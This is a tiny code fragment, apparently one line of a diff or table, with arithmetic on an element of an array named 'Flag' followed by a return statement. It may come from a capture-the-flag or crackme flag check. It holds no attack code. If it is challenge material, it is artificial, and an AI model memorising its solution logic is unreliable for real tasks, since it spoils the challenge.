+ Flag[15] - 230 - 15; return i; } |